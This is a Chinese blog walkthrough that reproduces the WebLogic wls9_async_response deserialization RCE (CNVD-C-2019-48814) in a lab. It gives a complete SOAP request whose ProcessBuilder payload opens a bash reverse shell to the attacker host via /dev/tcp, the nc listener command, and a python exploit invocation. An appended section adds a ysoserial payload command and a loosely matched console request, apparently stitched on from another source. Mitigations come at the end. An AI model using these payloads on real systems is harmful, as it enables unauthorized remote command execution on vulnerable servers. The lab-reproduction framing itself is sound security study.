漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)

目录

一,漏洞信息

二,实验环境

三,漏洞利用

第一步.查看其是否开启了wls9_async_response组件

1.打开Centos

2.开启weblogic

3.访问weblogic

4.查看async 

5.访问AsyncResponseService 

 第二步,CNVD-C-2019-48814漏洞的具体利用

方法一:bp

1.监听

 2.开启代理

 3.使用bp抓包

 4.发送到repeater

 5.构造一个payload

6.go发送

7.查看终端监听 

 方法二:python脚本使用方法

1.监听

 2.使用python脚本

3.查看终端监听

 ​编辑

 四,解决办法


一,漏洞信息

漏洞编号:OracleWebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)

影响版本:WebLogic 10.x    WebLogic 12.1.3 

WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。存在于weblogic自带的wls9_async_response.war组件及wls-wsat组件中,在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意HTTP 请求,未授权的情况下远程执行命令。部分版本WebLogic中默认包含的wls9_async_response包,主要是为WebLogic Server提供异步通讯服务。

反序列化:就是讲字节序列转化成对象的过程。

二,实验环境

服务器:Centos ,IP地址:10.1.1.100
攻击机器:kali ,IP地址:10.1.1.200
辅助工具:Firefox、burpsuite

来源:合天网安实验室

三,漏洞利用

第一步.查看其是否开启了wls9_async_response组件

1.打开Centos

service iptables stop                                     //关闭防火墙

2.开启weblogic

 cd /usr/local/weblogic/wlserver_10.3/samples/domains/wl_server/bin     //进入到这个目录

nohup ./startWebLogic.sh                              //启动weblogic

 

3.访问weblogic

切换到kali机器,打开http://10.1.1.100:7001

4.查看async 

http://10.1.1.100:7001/_async, 打开发现403,目录存在

 

5.访问AsyncResponseService 

访问发送服务,查看是否开启了wls9_async_response组件

http://10.1.1.100:7001/_async/AsyncResponseService

 

 第二步,CNVD-C-2019-48814漏洞的具体利用

方法一:bp

1.监听

nc -lvvp 666

 2.开启代理

如下图设置

 

 3.使用bp抓包

抓取http://10.1.1.100:7001/_async/AsyncResponseService页面

 4.发送到repeater

 5.构造一个payload

POST /_async/AsyncResponseService HTTP/1.1
Host: 10.1.1.100:7001
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.1.1.200/666 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

6.go发送

点击go 发现出现202,说明发送成功

7.查看终端监听 

成功反弹到了shell 

 方法二:python脚本使用方法

1.监听

nc -lvvp 666

 2.使用python脚本

python async_reserve_shell.py http://10.1.1.100:7001/_async/AsyncResponseService 10.1.1.200 666                      

 

3.查看终端监听

 

 四,解决办法

找到并删除wls9_async_response.war、wls-wsat.war 然后重启Weblogic服务

或者将/_async/* 及 /wls-wsat/*  的路径的URL访问注释静止

### 复现 WebLogic 反序列化漏洞 为了在受控环境中复现 WebLogic反序列化漏洞,环境准备至关重要。建议在一个隔离的实验环境下操作,比如通过虚拟机搭建包含已知漏洞版本的 WebLogic 服务[^3]。 #### 准备工作 安装并配置好 Oracle WebLogic Server 特定易受攻击的版本。确保该服务器仅限于内部网络访问,防止外部未授权访问带来的风险。对于具体的版本选择,通常会选择官方已经确认存在反序列化漏洞的历史版本进行测试。 #### 利用工具构建恶意负载 利用 ysoserial 这样的开源工具来创建针对特定 Java 类型的反序列化有效载荷。此工具支持多种 gadget chain, 包括但不限于 `CommonsCollections1` 和其他适用于不同场景下的链路[^2]。 ```bash java -jar ysoserial.jar CommonsCollections1 "touch /tmp/hacked" | base64 - ``` 上述命令会生成一段 Base64 编码后的 payload 字符串,这段字符串将在后续请求中作为参数传递给目标应用。 #### 发送恶意请求触发漏洞 构造 HTTP 请求向量发送至 WebLogic 控制台或其他可能处理用户输入的地方。这可以通过 curl 或者 Burp Suite 等代理工具完成。下面是一个简单的例子: ```http POST /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1 HTTP/1.1 Host: localhost:7001 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: JSESSIONID=... payload=<base64_encoded_payload> ``` 其中 `<base64_encoded_payload>` 是之前由 ysoserial 创建并通过 base64 编码得到的内容。 成功执行后,在 `/tmp` 目录下应该能看到名为 `hacked` 文件被创建出来,证明远程代码执行 (RCE) 成功实现。 请注意,以上过程仅供合法的安全研究用途,并严格遵循法律法规以及道德准则开展活动。任何非法入侵行为都是违法行为并将受到法律制裁。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

干掉芹菜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值